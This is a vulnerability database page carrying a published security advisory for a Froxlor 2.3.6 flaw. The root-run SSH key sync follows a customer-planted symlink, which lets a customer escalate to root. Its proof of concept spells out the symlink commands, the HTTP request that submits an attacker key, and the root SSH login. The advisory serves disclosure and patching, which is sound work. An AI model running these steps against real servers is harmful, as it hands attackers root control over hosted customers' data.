GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-MQ5V-PXPM-8JW2

Vulnerability from github – Published: 2026-05-29 15:40 – Updated: 2026-06-09 11:54
VLAI
Summary
Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path
Details

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell_allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.example

Result:

  • the root-owned cron task follows the symlinked authorized_keys path
  • the submitted public key is appended to /root/.ssh/authorized_keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.6"
            },
            {
              "fixed": "2.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.6"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41236"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T15:40:23Z",
    "nvd_published_at": "2026-06-04T19:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nFroxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to `~/.ssh/authorized_keys` under a customer-controlled home directory without verifying that the target path is not a symbolic link.\n\nIf an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace `~/.ssh/authorized_keys` with a symlink to `/root/.ssh/authorized_keys`. When Froxlor\u0027s privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root\u0027s authorized key file, resulting in root SSH access.\n\n### Details\nThe customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into `SshKeys::add()`:\n\n```php\n// customer_ftp.php:251-253\nif ($action == \u0027add\u0027 \u0026\u0026 Request::post(\u0027send\u0027) == \u0027send\u0027) {\n    $result = $log-\u003elogAction(USR_ACTION, LOG_INFO, \"added SSH-key\");\n    Commands::get()-\u003eapiCall(\u0027SshKeys.add\u0027, Request::postAll());\n}\n```\n\nOn the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:\n\n```php\n// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145\nif ($this-\u003egetUserDetail(\u0027shell_allowed\u0027) != \u00271\u0027) {\n    throw new Exception(\"You cannot add SSH keys because shell access is disabled for your account.\");\n}\n\n$ins_stmt = Database::prepare(\"\n    INSERT INTO `\" . TABLE_PANEL_CUSTOMERS_SSH .\"`.\n\");\nSettings::AddTask(\u0027rebuildnssusers\u0027);\n```\n\nLater, a root-owned cron path enters `SshKeys::generateFiles()` and derives the target path by simple string concatenation:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:52-64\n$sshdir = FileDir::makeCorrectDir($userinfo[\u0027homedir\u0027] . \u0027/.ssh\u0027);\n$authkeysfile = FileDir::makeCorrectFile($sshdir . \u0027/authorized_keys\u0027);\nif (!file_exists($authkeysfile)) {\n    touch($authkeysfile);\n}\n```\n\nThe helper used here only normalizes the path string and does not resolve or reject symlinks:\n\n```php\n// lib/Froxlor/FileDir.php:376-392\npublic static function makeCorrectFile(string $file): string\n{\n    $file = str_replace(\u0027//\u0027, \u0027/\u0027, $file);\n    $file = str_replace(\u0027\\\\\u0027, \u0027\u0027, $file);\n    return $file;\n}\n```\n\nThe root-owned sync code then appends attacker-controlled SSH key material to the derived path:\n\n```php\n// lib/Froxlor/Cron/System/SshKeys.php:94-103\nfile_put_contents($authkeysfile, $userinfo[\u0027ssh-rsa\u0027] . \"\\n\", FILE_APPEND | LOCK_EX);\nchown($authkeysfile, $userinfo[\u0027uid\u0027]);\nchgrp($authkeysfile, $userinfo[\u0027gid\u0027]);\n```\n\nBecause Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at `~/.ssh/authorized_keys` before the privileged synchronization step runs.\n\n\n### PoC\nAn attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.\n\nRelevant runtime prerequisites:\n\n- the attacker controls a customer-owned home directory on the target host\n- the attacking customer has `shell_allowed=1`\n- the attacker can submit SSH keys through the Froxlor panel\n- Froxlor\u0027s master cron runs with the intended root privileges\n\nComplete PoC flow:\n\n1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:\n\n```bash\nmkdir -p ~/.ssh\nrm -f ~/.ssh/authorized_keys\nln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys\n```\n\n2. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:\n\n```http\nPOST /customer_ftp.php?page=sshkeys\u0026action=add HTTP/1.1\nHost: target.example\nContent-Type: application/x-www-form-urlencoded\nCookie: \u003cauthenticated customer session\u003e\n\ncsrf_token=VALID_CSRF_TOKEN\u0026\nsend=send\u0026\ndescription=poc\u0026\nftpuser=17\u0026\nssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host\n```\n\n3. Wait for Froxlor\u0027s master cron to process the queued `REBUILD_NSSUSERS` task.\n4. Use the corresponding private key to authenticate as root:\n\n```bash\nssh -i id_ed25519 root@target.example\n```\n\nResult:\n\n- the root-owned cron task follows the symlinked `authorized_keys` path\n- the submitted public key is appended to `/root/.ssh/authorized_keys`\n- SSH access as `root` succeeds with the attacker\u0027s key pair\n\n### Impact\nThis is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.",
  "id": "GHSA-mq5v-pxpm-8jw2",
  "modified": "2026-06-09T11:54:22Z",
  "published": "2026-05-29T15:40:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-mq5v-pxpm-8jw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41236"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…